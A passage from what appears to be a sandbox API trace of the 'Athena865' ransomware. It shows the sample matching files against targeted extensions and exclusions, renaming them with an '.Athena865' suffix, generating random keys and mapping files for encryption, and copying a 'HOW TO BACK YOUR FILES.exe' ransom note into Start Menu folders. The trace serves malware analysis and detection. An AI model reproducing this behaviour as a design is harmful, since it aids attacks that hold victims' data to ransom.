lpString2="pdm") returned -1 [0099.457] lstrlenW (lpString="pnz") returned 3 [0099.457] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0099.457] lstrlenW (lpString="qry") returned 3 [0099.457] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0099.457] lstrlenW (lpString="qvd") returned 3 [0099.457] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0099.457] lstrlenW (lpString="rbf") returned 3 [0099.457] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0099.457] lstrlenW (lpString="rctd") returned 4 [0099.457] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0099.457] lstrlenW (lpString="rod") returned 3 [0099.457] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0099.457] lstrlenW (lpString="rodx") returned 4 [0099.457] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0099.457] lstrlenW (lpString="rpd") returned 3 [0099.457] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0099.457] lstrlenW (lpString="rsd") returned 3 [0099.457] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0099.457] lstrlenW (lpString="sas7bdat") returned 8 [0099.457] lstrcmpiW (lpString1="rome.lnk", lpString2="sas7bdat") returned -1 [0099.457] lstrlenW (lpString="sbf") returned 3 [0099.457] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0099.458] lstrlenW (lpString="scx") returned 3 [0099.458] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0099.458] lstrlenW (lpString="sdb") returned 3 [0099.458] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0099.458] lstrlenW (lpString="sdc") returned 3 [0099.458] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0099.458] lstrlenW (lpString="sdf") returned 3 [0099.458] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0099.458] lstrlenW (lpString="sis") returned 3 [0099.458] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0099.458] lstrlenW (lpString="spq") returned 3 [0099.458] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0099.458] lstrlenW (lpString="te") returned 2 [0099.458] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0099.458] lstrlenW (lpString="teacher") returned 7 [0099.458] lstrcmpiW (lpString1="ome.lnk", lpString2="teacher") returned -1 [0099.458] lstrlenW (lpString="tmd") returned 3 [0099.458] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0099.458] lstrlenW (lpString="tps") returned 3 [0099.458] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0099.458] lstrlenW (lpString="trc") returned 3 [0099.458] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0099.458] lstrlenW (lpString="trc") returned 3 [0099.458] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0099.458] lstrlenW (lpString="trm") returned 3 [0099.458] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0099.458] lstrlenW (lpString="udb") returned 3 [0099.458] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0099.458] lstrlenW (lpString="udl") returned 3 [0099.458] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0099.458] lstrlenW (lpString="usr") returned 3 [0099.458] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0099.458] lstrlenW (lpString="v12") returned 3 [0099.459] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0099.459] lstrlenW (lpString="vis") returned 3 [0099.459] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0099.459] lstrlenW (lpString="vpd") returned 3 [0099.459] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0099.459] lstrlenW (lpString="vvv") returned 3 [0099.459] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0099.459] lstrlenW (lpString="wdb") returned 3 [0099.459] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0099.459] lstrlenW (lpString="wmdb") returned 4 [0099.459] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0099.459] lstrlenW (lpString="wrk") returned 3 [0099.459] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0099.459] lstrlenW (lpString="xdb") returned 3 [0099.459] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0099.459] lstrlenW (lpString="xld") returned 3 [0099.459] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0099.459] lstrlenW (lpString="xmlff") returned 5 [0099.459] lstrcmpiW (lpString1="e.lnk", lpString2="xmlff") returned -1 [0099.459] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Start Menu\\Programs\\Google Chrome.lnk.Athena865") returned 62 [0099.459] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Start Menu\\Programs\\Google Chrome.lnk" (normalized: "c:\\programdata\\start menu\\programs\\google chrome.lnk"), lpNewFileName="C:\\ProgramData\\Start Menu\\Programs\\Google Chrome.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\programs\\google chrome.lnk.athena865"), dwFlags=0x1) returned 1 [0099.460] CreateFileW (lpFileName="C:\\ProgramData\\Start Menu\\Programs\\Google Chrome.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\programs\\google chrome.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0099.461] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2269) returned 1 [0099.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.461] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.462] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.462] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.462] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbe0, lpName=0x0) returned 0x17c [0099.463] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbe0) returned 0x100000 [0099.464] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.465] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.465] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5399c8 [0099.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5399c8 | out: hHeap=0x4f0000) returned 1 [0099.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.465] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.465] CloseHandle (hObject=0x17c) returned 1 [0099.465] CloseHandle (hObject=0x154) returned 1 [0099.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.466] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c86a00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4c86a00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0099.466] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0099.466] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0099.466] lstrcmpiW (lpString1="Java", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0099.466] lstrcmpiW (lpString1="Java", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0099.466] lstrcmpiW (lpString1="Java", lpString2=".") returned 1 [0099.466] lstrcmpiW (lpString1="Java", lpString2="..") returned 1 [0099.466] lstrcmpiW (lpString1="Java", lpString2="windows") returned -1 [0099.466] lstrcmpiW (lpString1="Java", lpString2="bootmgr") returned 1 [0099.466] lstrcmpiW (lpString1="Java", lpString2="temp") returned -1 [0099.466] lstrcmpiW (lpString1="Java", lpString2="pagefile.sys") returned -1 [0099.466] lstrcmpiW (lpString1="Java", lpString2="boot") returned 1 [0099.466] lstrcmpiW (lpString1="Java", lpString2="ids.txt") returned 1 [0099.466] lstrcmpiW (lpString1="Java", lpString2="ntuser.dat") returned -1 [0099.466] lstrcmpiW (lpString1="Java", lpString2="perflogs") returned -1 [0099.466] lstrcmpiW (lpString1="Java", lpString2="MSBuild") returned -1 [0099.466] lstrlenW (lpString="Java") returned 4 [0099.466] lstrcpyW (in: lpString1=0x241e88e, lpString2="Java" | out: lpString1="Java") returned="Java" [0099.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bea8 [0099.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x50) returned 0x5163c8 [0099.466] lstrcatW (in: lpString1="Java", lpString2="\\" | out: lpString1="Java\\") returned="Java\\" [0099.466] lstrcatW (in: lpString1="Java\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Java\\HOW TO BACK YOUR FILES.exe") returned="Java\\HOW TO BACK YOUR FILES.exe" [0099.466] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Start Menu\\Programs\\Java\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\start menu\\programs\\java\\how to back your files.exe"), bFailIfExists=1) returned 1 [0099.469] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0099.469] lstrcmpiW (lpString1="Maintenance", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0099.469] lstrcmpiW (lpString1="Maintenance", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0099.470] lstrcmpiW (lpString1="Maintenance", lpString2=".") returned 1 [0099.470] lstrcmpiW (lpString1="Maintenance", lpString2="..") returned 1 [0099.470] lstrcmpiW (lpString1="Maintenance", lpString2="windows") returned -1 [0099.470] lstrcmpiW (lpString1="Maintenance", lpString2="bootmgr") returned 1 [0099.470] lstrcmpiW (lpString1="Maintenance", lpString2="temp") returned -1 [0099.470] lstrcmpiW (lpString1="Maintenance", lpString2="pagefile.sys") returned -1 [0099.470] lstrcmpiW (lpString1="Maintenance", lpString2="boot") returned 1 [0099.470] lstrcmpiW (lpString1="Maintenance", lpString2="ids.txt") returned 1 [0099.470] lstrcmpiW (lpString1="Maintenance", lpString2="ntuser.dat") returned -1 [0099.470] lstrcmpiW (lpString1="Maintenance", lpString2="perflogs") returned -1 [0099.470] lstrcmpiW (lpString1="Maintenance", lpString2="MSBuild") returned -1 [0099.470] lstrlenW (lpString="Maintenance") returned 11 [0099.470] lstrcpyW (in: lpString1=0x241e88e, lpString2="Maintenance" | out: lpString1="Maintenance") returned="Maintenance" [0099.470] SetFileAttributesW (lpFileName="C:\\ProgramData\\Start Menu\\Programs\\Maintenance", dwFileAttributes=0x10) returned 1 [0099.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bec0 [0099.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x5243c8 [0099.470] lstrcatW (in: lpString1="Maintenance", lpString2="\\" | out: lpString1="Maintenance\\") returned="Maintenance\\" [0099.470] lstrcatW (in: lpString1="Maintenance\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Maintenance\\HOW TO BACK YOUR FILES.exe") returned="Maintenance\\HOW TO BACK YOUR FILES.exe" [0099.470] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Start Menu\\Programs\\Maintenance\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\start menu\\programs\\maintenance\\how to back your files.exe"), bFailIfExists=1) returned 1 [0099.473] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824ddfa0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x824ddfa0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x824ddfa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x541, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Media Center.lnk", cAlternateFileName="MEDIAC~1.LNK")) returned 1 [0099.473] lstrcmpiW (lpString1="Media Center.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0099.473] lstrcmpiW (lpString1="Media Center.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0099.473] lstrcmpiW (lpString1="Media Center.lnk", lpString2=".") returned 1 [0099.473] lstrcmpiW (lpString1="Media Center.lnk", lpString2="..") returned 1 [0099.473] lstrcmpiW (lpString1="Media Center.lnk", lpString2="windows") returned -1 [0099.473] lstrcmpiW (lpString1="Media Center.lnk", lpString2="bootmgr") returned 1 [0099.473] lstrcmpiW (lpString1="Media Center.lnk", lpString2="temp") returned -1 [0099.473] lstrcmpiW (lpString1="Media Center.lnk", lpString2="pagefile.sys") returned -1 [0099.473] lstrcmpiW (lpString1="Media Center.lnk", lpString2="boot") returned 1 [0099.473] lstrcmpiW (lpString1="Media Center.lnk", lpString2="ids.txt") returned 1 [0099.473] lstrcmpiW (lpString1="Media Center.lnk", lpString2="ntuser.dat") returned -1 [0099.473] lstrcmpiW (lpString1="Media Center.lnk", lpString2="perflogs") returned -1 [0099.473] lstrcmpiW (lpString1="Media Center.lnk", lpString2="MSBuild") returned -1 [0099.473] lstrlenW (lpString="Media Center.lnk") returned 16 [0099.473] lstrcpyW (in: lpString1=0x241e88e, lpString2="Media Center.lnk" | out: lpString1="Media Center.lnk") returned="Media Center.lnk" [0099.473] lstrlenW (lpString="Media Center.lnk") returned 16 [0099.473] lstrlenW (lpString="Athena865") returned 9 [0099.473] lstrcmpiW (lpString1="enter.lnk", lpString2="Athena865") returned 1 [0099.473] lstrlenW (lpString=".dll") returned 4 [0099.473] lstrcmpiW (lpString1="Media Center.lnk", lpString2=".dll") returned 1 [0099.473] lstrlenW (lpString=".lnk") returned 4 [0099.473] lstrcmpiW (lpString1="Media Center.lnk", lpString2=".lnk") returned 1 [0099.473] lstrlenW (lpString=".ini") returned 4 [0099.473] lstrcmpiW (lpString1="Media Center.lnk", lpString2=".ini") returned 1 [0099.473] lstrlenW (lpString=".sys") returned 4 [0099.473] lstrcmpiW (lpString1="Media Center.lnk", lpString2=".sys") returned 1 [0099.473] lstrlenW (lpString="Media Center.lnk") returned 16 [0099.473] lstrlenW (lpString="bak") returned 3 [0099.473] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0099.473] lstrlenW (lpString="ba_") returned 3 [0099.473] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0099.474] lstrlenW (lpString="dbb") returned 3 [0099.474] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0099.474] lstrlenW (lpString="vmdk") returned 4 [0099.474] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0099.474] lstrlenW (lpString="rar") returned 3 [0099.474] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0099.474] lstrlenW (lpString="zip") returned 3 [0099.474] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0099.474] lstrlenW (lpString="tgz") returned 3 [0099.474] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0099.474] lstrlenW (lpString="vbox") returned 4 [0099.474] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0099.474] lstrlenW (lpString="vdi") returned 3 [0099.474] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0099.474] lstrlenW (lpString="vhd") returned 3 [0099.474] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0099.474] lstrlenW (lpString="vhdx") returned 4 [0099.474] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0099.474] lstrlenW (lpString="avhd") returned 4 [0099.474] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0099.474] lstrlenW (lpString="db") returned 2 [0099.474] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0099.474] lstrlenW (lpString="db2") returned 3 [0099.474] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0099.474] lstrlenW (lpString="db3") returned 3 [0099.474] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0099.474] lstrlenW (lpString="dbf") returned 3 [0099.474] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0099.474] lstrlenW (lpString="mdf") returned 3 [0099.474] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0099.474] lstrlenW (lpString="mdb") returned 3 [0099.474] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0099.474] lstrlenW (lpString="sql") returned 3 [0099.475] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0099.475] lstrlenW (lpString="sqlite") returned 6 [0099.475] lstrcmpiW (lpString1="er.lnk", lpString2="sqlite") returned -1 [0099.475] lstrlenW (lpString="sqlite3") returned 7 [0099.475] lstrcmpiW (lpString1="ter.lnk", lpString2="sqlite3") returned 1 [0099.475] lstrlenW (lpString="sqlitedb") returned 8 [0099.475] lstrcmpiW (lpString1="nter.lnk", lpString2="sqlitedb") returned -1 [0099.475] lstrlenW (lpString="xml") returned 3 [0099.475] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0099.475] lstrlenW (lpString="$er") returned 3 [0099.475] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0099.475] lstrlenW (lpString="4dd") returned 3 [0099.475] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0099.475] lstrlenW (lpString="4dl") returned 3 [0099.475] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0099.475] lstrlenW (lpString="^^^") returned 3 [0099.475] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0099.475] lstrlenW (lpString="abs") returned 3 [0099.475] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0099.475] lstrlenW (lpString="abx") returned 3 [0099.475] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0099.475] lstrlenW (lpString="accdb") returned 5 [0099.475] lstrcmpiW (lpString1="r.lnk", lpString2="accdb") returned 1 [0099.475] lstrlenW (lpString="accdc") returned 5 [0099.475] lstrcmpiW (lpString1="r.lnk", lpString2="accdc") returned 1 [0099.475] lstrlenW (lpString="accde") returned 5 [0099.475] lstrcmpiW (lpString1="r.lnk", lpString2="accde") returned 1 [0099.475] lstrlenW (lpString="accdr") returned 5 [0099.475] lstrcmpiW (lpString1="r.lnk", lpString2="accdr") returned 1 [0099.475] lstrlenW (lpString="accdt") returned 5 [0099.475] lstrcmpiW (lpString1="r.lnk", lpString2="accdt") returned 1 [0099.475] lstrlenW (lpString="accdw") returned 5 [0099.475] lstrcmpiW (lpString1="r.lnk", lpString2="accdw") returned 1 [0099.476] lstrlenW (lpString="accft") returned 5 [0099.476] lstrcmpiW (lpString1="r.lnk", lpString2="accft") returned 1 [0099.476] lstrlenW (lpString="adb") returned 3 [0099.476] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0099.476] lstrlenW (lpString="adb") returned 3 [0099.476] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0099.476] lstrlenW (lpString="ade") returned 3 [0099.476] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0099.476] lstrlenW (lpString="adf") returned 3 [0099.476] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0099.476] lstrlenW (lpString="adn") returned 3 [0099.476] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0099.476] lstrlenW (lpString="adp") returned 3 [0099.476] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0099.476] lstrlenW (lpString="alf") returned 3 [0099.476] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0099.476] lstrlenW (lpString="ask") returned 3 [0099.476] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0099.476] lstrlenW (lpString="btr") returned 3 [0099.476] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0099.476] lstrlenW (lpString="cat") returned 3 [0099.476] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0099.476] lstrlenW (lpString="cdb") returned 3 [0099.476] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0099.476] lstrlenW (lpString="ckp") returned 3 [0099.476] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0099.476] lstrlenW (lpString="cma") returned 3 [0099.476] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0099.476] lstrlenW (lpString="cpd") returned 3 [0099.476] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0099.476] lstrlenW (lpString="dacpac") returned 6 [0099.476] lstrcmpiW (lpString1="er.lnk", lpString2="dacpac") returned 1 [0099.476] lstrlenW (lpString="dad") returned 3 [0099.476] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0099.477] lstrlenW (lpString="dadiagrams") returned 10 [0099.477] lstrcmpiW (lpString1="Center.lnk", lpString2="dadiagrams") returned -1 [0099.477] lstrlenW (lpString="daschema") returned 8 [0099.477] lstrcmpiW (lpString1="nter.lnk", lpString2="daschema") returned 1 [0099.477] lstrlenW (lpString="db-journal") returned 10 [0099.477] lstrcmpiW (lpString1="Center.lnk", lpString2="db-journal") returned -1 [0099.477] lstrlenW (lpString="db-shm") returned 6 [0099.477] lstrcmpiW (lpString1="er.lnk", lpString2="db-shm") returned 1 [0099.477] lstrlenW (lpString="db-wal") returned 6 [0099.477] lstrcmpiW (lpString1="er.lnk", lpString2="db-wal") returned 1 [0099.477] lstrlenW (lpString="dbc") returned 3 [0099.477] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0099.477] lstrlenW (lpString="dbs") returned 3 [0099.477] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0099.477] lstrlenW (lpString="dbt") returned 3 [0099.477] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0099.477] lstrlenW (lpString="dbv") returned 3 [0099.477] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0099.477] lstrlenW (lpString="dbx") returned 3 [0099.477] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0099.477] lstrlenW (lpString="dcb") returned 3 [0099.477] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0099.477] lstrlenW (lpString="dct") returned 3 [0099.477] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0099.477] lstrlenW (lpString="dcx") returned 3 [0099.477] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0099.477] lstrlenW (lpString="ddl") returned 3 [0099.477] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0099.477] lstrlenW (lpString="dlis") returned 4 [0099.477] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0099.477] lstrlenW (lpString="dp1") returned 3 [0099.477] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0099.477] lstrlenW (lpString="dqy") returned 3 [0099.478] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0099.478] lstrlenW (lpString="dsk") returned 3 [0099.478] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0099.478] lstrlenW (lpString="dsn") returned 3 [0099.478] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0099.478] lstrlenW (lpString="dtsx") returned 4 [0099.478] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0099.478] lstrlenW (lpString="dxl") returned 3 [0099.478] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0099.478] lstrlenW (lpString="eco") returned 3 [0099.478] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0099.478] lstrlenW (lpString="ecx") returned 3 [0099.478] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0099.478] lstrlenW (lpString="edb") returned 3 [0099.478] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0099.478] lstrlenW (lpString="epim") returned 4 [0099.478] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0099.478] lstrlenW (lpString="fcd") returned 3 [0099.478] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0099.478] lstrlenW (lpString="fdb") returned 3 [0099.478] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0099.478] lstrlenW (lpString="fic") returned 3 [0099.478] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0099.478] lstrlenW (lpString="flexolibrary") returned 12 [0099.478] lstrcmpiW (lpString1="a Center.lnk", lpString2="flexolibrary") returned -1 [0099.478] lstrlenW (lpString="fm5") returned 3 [0099.478] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0099.478] lstrlenW (lpString="fmp") returned 3 [0099.478] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0099.478] lstrlenW (lpString="fmp12") returned 5 [0099.478] lstrcmpiW (lpString1="r.lnk", lpString2="fmp12") returned 1 [0099.478] lstrlenW (lpString="fmpsl") returned 5 [0099.478] lstrcmpiW (lpString1="r.lnk", lpString2="fmpsl") returned 1 [0099.479] lstrlenW (lpString="fol") returned 3 [0099.479] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0099.479] lstrlenW (lpString="fp3") returned 3 [0099.479] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0099.479] lstrlenW (lpString="fp4") returned 3 [0099.479] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 